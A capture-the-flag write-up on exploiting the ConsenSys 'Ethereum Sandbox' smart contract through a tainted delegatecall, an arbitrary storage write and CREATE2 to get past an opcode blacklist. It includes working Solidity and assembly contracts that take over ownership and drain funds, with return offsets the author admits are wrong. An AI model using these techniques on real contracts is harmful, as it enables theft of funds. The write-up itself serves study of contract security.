ConsenSys CTF Writeup
A writeup for the ConsenSys CTF "Ethereum Sandbox"
Update: Memory offsets bite me for a third time on this CTF and so while I drained the CTF contract, the funds didn't get drained to my account. Oops.
Figuring out what went wrong is left as an exercise to the reader.
This is a writeup for the ConsenSys CTF, Ethereum Sandbox. You'll need a basic understanding of Ethereum and Solidity to follow along.
The target is a contract deployed at 0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a. The contract isn't verified (obviously) so we will have to reverse engineer it with something like Contract Library (Update: The creators of Contract Library also published a writeup with a much better approach! Check it out here).
Right off the bat we see that there's a tainted delegatecall in function 0x2918435f
. If we can specify the address that the delegatecall
will use, we've basically owned the contract. Let's take a look to see what preconditions must be met in order to trigger this vulnerability.
Precondition 1 - Message length
require(((msg.data.length - 0x4) >= 0x20));
The first precondition is that the message data must be at least 32 bytes.
Precondition 2 - Contract ownership
I've taken the liberty of cleaning up the code a bit.
bool foundOwner = false;
for (int index = 0; index < owners.length; index++) {
if (msg.sender == owners[index]) {
foundOwner = true;
}
}
require(foundOwner);
There's an array stored at storage offset 0x01
. This code essentially checks whether the caller is within that array. At the start of the CTF, this array was equal to [0xf339084e9838281c953f3e812f32a6e145f64bff]
.
Precondition 3 - Sandboxing
Again, the code's been cleaned up.
bytes memory code = address(target).code;
for (int index = 0; index < code.length; index++) {
require(code[index] != 0xf0);
require(code[index] != 0xf1);
require(code[index] != 0xf2);
require(code[index] != 0xf4);
require(code[index] != 0xfa);
require(code[index] != 0xf4);
}
This precondition is simple. Every byte of the target contract's code is checked against a blacklist (CREATE
, CALL
, CALLCODE
, DELEGATECALL
, STATICCALL
, and SELFDESTRUCT
). While technically this isn't a sandbox, the CTF is named as such so I'll do the same.
Meeting the preconditions
Precondition 1 is simple, as it will be met when we specify the contract that we want the CTF contract to delegatecall
to.
Precondition 2 is trickier. There are no functions which directly modify the owners array. As such, we need to look elsewhere. The only other non-trivial function has signature 0x4214352d
and is reproduced below.
function func_4214352d(address value, uint offset) {
require(offset < array_0.length);
array_0[offset] = value;
}
This seems innocuous, but is actually hiding an arbitrary write primitive which we can use to transfer ownership of the contract to ourselves. For more information on this particular type of vulnerability, I encourage you to read this submission to the Underhanded Solidity Coding Contest as it is explained much better than I can.
Precondition 3 is the trickiest, because we must somehow transfer ether without using any of the instructions which transfer ether. This seems impossible because it is.
Fortunately, there's a hard fork coming up named Constantinople (yes yes and St. Petersburg). The Constantinople hard fork will include EIP-1014 which creates a new opcode called CREATE2
. This opcode behaves similar to CREATE
and will be located at 0xF5
. This byte is not blacklisted, so we can use CREATE2
to transfer the ether out of the CTF.
Capturing the flag
Of course, there's a small problem - the Constantinople hard fork is scheduled for block 7280000, which is about 2 days from the time of writing. It would be a shame if someone were to beat us to the bounty simply by virtue of having better peering within the Ethereum network. Fortunately, we can lock the contract and ensure that no one else will be able to take ownership. This is because to successfully meet Precondition 2, the value at 0x00
must be a large number such as 0xFF...FF
.
The following contract will lock the CTF by setting the value at storage slot 0x00
to 0x00
and transfer ownership to my address, 0x5cd5e9e5d251bf23c7238d1972e45a707594f2a0
.
/**
* Writes 0x00 to 0x00 so no one else can exploit the array overflow
* Writes tx.origin to 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 to make the caller the owner
*/
contract StorageWriter {
constructor() public payable {
assembly {
mstore(0x00, 0x348055327f0b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fc)
mstore(0x20, 0xbe2b7fa0cf601002600601550000000000000000000000000000000000000000)
return(0x00, 0x40)
}
}
}
/**
* Locks the contract so no one else can take ownership
*/
contract Locker {
CTFAPI private constant CTF = CTFAPI(0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A);
constructor() public payable {
require(tx.origin == 0x5CD5e9e5D251bF23c7238d1972e45A707594F2A0);
bool result;
// First, make this contract the owner
(result, ) = address(CTF).call(abi.encodeWithSelector(
0x4214352d,
uint(address(this)),
uint(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6-0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563)
));
require(result);
// Second, create the storage writer contract
StorageWriter locker = new StorageWriter();
(result, ) = address(CTF).call(abi.encodeWithSelector(
0x2918435f,
locker
));
require(result);
// Third, check result
require(CTF.owners(0) == tx.origin);
// Fourth, cleanup
selfdestruct(tx.origin);
}
}
The StorageWriter contract is written in assembly, so the pseudocode is presented below.
contract StorageWriter {
uint[] private someArray;
address[] private owners;
function() public payable {
someArray.length = 0;
owners[0] = tx.origin;
}
}
There are two things to note here.
- The
StorageWriter
contract implementation needed to be hand-written. This is because the 'sandboxing' disallows the use of specific bytes, not specific opcodes. That means that0xFA
is forbidden even in the context of a constant value. - I screwed up the return - I should have used
return(0x00, 0x2c)
.
Locker
was deployed at transaction 0x8cd8cc3969f4800257eac48b46e01190477e4cb60d877a50532613db4e32b663. It successfully locked the contract and transferred ownership to 0x5cd5e9e5d251bf23c7238d1972e45a707594f2a0
.
The second phase will be executed after the Constantinople hard fork has taken place, using the following code.
/**
* Claims the bounty when the Constantinople HF happens
*
* This contract will use CREATE2 to create another contract which selfdestructs into the owner
*/
contract BountyClaimer {
constructor() public payable {
assembly {
mstore(0x00, 0x6132fe6001013452346004601c3031f5)
return(0x10, 0x20)
}
}
}
This contract is also written in assembly, so pseudocode is once again presented below.
contract BountyClaimerInner {
constructor() public payable {
selfdestruct(tx.origin);
}
}
contract BountyClaimer {
function() public payable {
(new BountyClaimerInner).value(address(this).balance)();
}
}
There are also two things to note here.
- The BountyClaimer contract creates another contract using
CREATE2
, which contains the opcodes32FF
(i.e.selfdestruct(tx.origin)
). To get around the blacklist on the byte0xFF
, the assembly actually creates a contract with opcodes0x32FE+0x01
. - I screwed up the return again - this time I should have actually used
return(0x10, 0x10)
.
BountyClaimer
was deployed at transaction 0xcc1f9f85c5662bcfe4c743afe34988789de7d8564337f91182f067497982416a to 0x855474e89e943071f0f86bdcfc4ac648c79a0ffc.
Conclusion
This was a very interesting CTF which took advantage of an upcoming hard fork. Interesting vulnerabilities were used and the implementation allowed for the first person who solved the CTF to claim ownership without needing to worry about frontrunners. I look forward to future CTFs from ConsenSys.